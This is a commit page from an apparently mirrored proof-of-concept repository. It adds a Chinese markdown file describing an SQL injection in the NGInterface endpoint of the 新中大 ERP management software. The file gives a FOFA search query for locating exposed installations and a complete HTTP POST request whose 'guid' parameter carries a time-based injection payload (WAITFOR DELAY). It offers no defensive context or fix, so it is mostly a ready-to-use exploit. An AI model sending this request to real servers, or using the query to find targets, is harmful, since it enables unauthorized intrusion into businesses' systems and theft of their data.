admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-04 18:06:34 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 新中大ERP企业管理软件 NGInterface 存在SQL注入.md

Browse Source
This commit is contained in:
Rainyseason 2025-09-01 16:23:25 +08:00 committed by GitHub
parent 7c1bb82928
commit db3919ab04
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
wpoc/新中大ERP企业管理软件/新中大ERP企业管理软件 NGInterface 存在SQL注入.md Normal file
View File

@ -0,0 +1,19 @@
# 新中大ERP企业管理软件 NGInterface 存在SQL注入
## fofa
```
body="Resource/pic/product_btn.png" || body="/login/SSOValidation.html"
```
## poc
```javascript
POST /filesrv/NGInterface/Index HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
type=getfilelist&guid=';WAITFOR+DELAY+'0:0:3'--
```